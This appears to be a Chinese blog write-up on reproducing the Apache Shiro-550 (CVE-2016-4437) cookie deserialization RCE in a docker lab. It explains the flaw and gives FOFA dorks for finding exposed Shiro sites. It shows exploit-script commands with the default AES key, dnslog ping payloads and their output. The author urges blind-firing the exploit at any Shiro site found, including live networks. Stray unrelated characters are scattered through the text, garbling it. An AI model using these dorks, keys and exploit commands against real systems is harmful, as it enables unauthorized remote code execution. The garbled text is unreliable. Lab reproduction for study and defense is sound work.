漏洞背景
CVE-2016-4437/shiro-550尿贫,shiro<1.2.4,前臺(tái)無回顯RCE隘道。
- 框架介紹:Apache Shiro是一款開源安全框架纲岭,提供身份驗(yàn)證晓淀、授權(quán)、密碼學(xué)和會(huì)話管理。
- 漏洞引入:服務(wù)端在接收cookie時(shí),得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化(未限制)澈吨。shiro≤1.2.4版本默認(rèn)使CookieRememberMeManager,由于AES使用的key泄露,導(dǎo)致反序化的cookie可控把敢,從而引發(fā)反序化攻擊。
漏洞特征(使用了shiro的站)
- 進(jìn)行登錄谅辣,提交表單后看set-cookie是否存在remeberMe=deleteMe
- fofa搜索:
app="Apache-Shiro"
,header="rememberme=deleteMe"
修赞、header="shiroCookie"
發(fā)現(xiàn)使用shiro的就exp盲打吧。
本地復(fù)現(xiàn)
shiro/CVE-2016-4437
# docker-compose up -d #服務(wù)啟動(dòng)后桑阶,訪問http://ip:8080可使用admin:vulhub進(jìn)行登錄柏副。
# 探測(cè)漏洞是否存在, `https://github.com/insightglacier/Shiro_exploit`
# python shiro_exploit.py -u http://192.168.2.130:8080
vulnerable:True url:http://192.168.2.130:8080 CipherKey:kPH+bIxk5D2deZiIxcaaaA==
# 還可以繼續(xù)探測(cè)gadget, 然而還是不知道用來干啥,還是一鍵腳本打吧……
# python shiro_exploit.py -u http://192.168.2.130:8080/doLogin -t 3 -p "ping -c 2 rl5a3l.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA=="
found gadget:
['JRMPClient']
# exp1,https://github.com/sv3nbeast/ShiroScan
python3 shiro_rce.py http://192.168.2.130:8080 "ping ovm5ah.dnslog.cn"
# exp2蚣录,大佬發(fā)的shiro_exp.zip割择,咱也不知道誰寫的……改改參數(shù)反正能用
python exp.py
總結(jié)
- 一個(gè)很蠢又犯了好幾次的毛病,docker起的環(huán)境如果用touch來試命令執(zhí)行萎河,檢查的時(shí)候記得看docker而不是看本機(jī)荔泳。。虐杯。玛歌。
- 有空的話可以保持跟蹤github上的cipherkey……或者及時(shí)pull大佬的項(xiàng)目()。
- 現(xiàn)網(wǎng)居然還有這個(gè)漏洞厦幅,看到rememberme試試反正不吃虧……